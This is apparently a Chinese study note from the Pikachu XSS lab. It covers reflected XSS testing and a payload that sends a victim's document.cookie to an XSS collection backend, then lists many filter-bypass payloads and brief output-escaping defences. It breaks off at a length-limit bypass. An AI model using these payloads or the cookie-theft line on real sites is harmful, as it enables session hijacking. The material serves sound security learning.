1.反射型XSS
一.随便输入一串字符测试是否有过滤机制
二.尝试插入一段js代码进行测试
<script>alert("xss")</script>
成功弹窗!
2.get型XSS漏洞利用
一.原理:
二.开启XSS后台并执行js代码
<script>document.location = 'http://192.168.1.4/Pikachu-master/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>
(document为接口,http地址为XSS后台,执行代码会使用户重定向到XSS后台并携带cookie信息)
(获取完用户cookie后重定向到http://192.168.1.4/pikachu/index.php 即pikachu首页,这样能防止点击者怀疑)
三.查看XSS后台并成功获取到用户cookie
3.XSS绕过-过滤-转换
一.前端限制绕过,直接抓包重放,或者修改html前端代码
二.大小写,比如:<SCRIPT>aLeRT(111)</sCRIpt>
三.拼凑:<scri<script>pt>alert(111)</scri</script>pt>
四.使用注释进行干扰:<scri<!--test-->pt>alert(111)</sc<!--test-->ript>
XSS常见防范措施
总原则:输入做过滤,输出做转义
过滤:根据业务需求进行过滤,比如输入点要求输入手机号,则只允许输入手机号格式的数字。
转义:所有输出到前端的数据都根据输出点进行转译,比如输出到html中进行html实体转义,输入到JS里面的进行JS转义。
4.一些绕过措施
一.特定标签过滤(过滤script、iframe等):
<p onclick="alert(/xss/)">click it</p>
HTML5新增标签,如video标签:
<video><source onerror="alert(/xss/)">
二.事件过滤(过滤了on+xxx,比如onmouseover):
1.<a href="javascript:alert(/xss/)">link</a>
2.HTML5新特性:<details open ontoggle="alert(/xss/)">
<form><button formaction="javascript:alert(/xss/)">X</button></form>
3.对事件进行FUZZ测试:burp suite/脚本
三.敏感关键字过滤(过滤cookie、eval,alert等):
1.字符串拼接与混淆:
一.javascript中的对象方法可以通过数组的方式进行调用:window['alert'](/xss/)
;
二.对函数名字的字符串进行拼接:window['al'+'ert'](/xss/)
;
三.使用javascript自带的Base64编码解码函数进行绕过(btoa函数可以将字符串编码为Base64的字符串,atob可以还原):window[atob("YWxl"+"cnQ")](/xss/)
;
2.编码解码:HTML和CSS进制编码:十进制、十六进制
javascript进制编码:八进制、十六进制、Unicode编码、ASCII
URL编码:%61
JSFuck编码
3.svg标签:<svg><script>alert%26%23x28;1%26%23xx29;</script></svg>
4.提交绕过(考虑将XSS代码放置于其他的不被浏览器提交至服务端的部分,常用方法有location.、window.name等处):
location.:<input onfocus=outerHTML=decodeURI(location.hash)>#<img src=x onerror=alert(/xss/)>
window.name:%3Cinput%20onfocus=location=window.name%3E"name="javascript:alert(/xss/)"><iframe>
四.敏感字符过滤:
1.过滤”.”(使用with关键字设置变量的作用域,从而绕过对”.”的过滤):with(document)alert(cookie)
2.过滤”()”(绑定错误函数,使用throw关键字传递参数绕过对”()”的过滤):window.onerror=alert; throw 1
;
3.过滤空格(在标签属性中使用换行符(0x09、0x10、0x12、0x13、0x0a)等字符代替空格进行绕过):<img %0asrc=x%0aonerror=alert(/xss/)>
在标签名称和第一个属性间也可以使用”/“代替空格:<input/onfocus=alert(/xss/)>
五.绕过长度限制:
1.利用window.name和location.:%3Cinput%20onfocus=eval(window.name)%3E"name="alert(/xss/)>
2.利用第三方库工具函数:%3Cinput%20onfocus=$(window.name)%3E"name="<img src='x' onerror=alert(/xss/)/>"/>
3.利用注释:stage1:
Comments NOTHING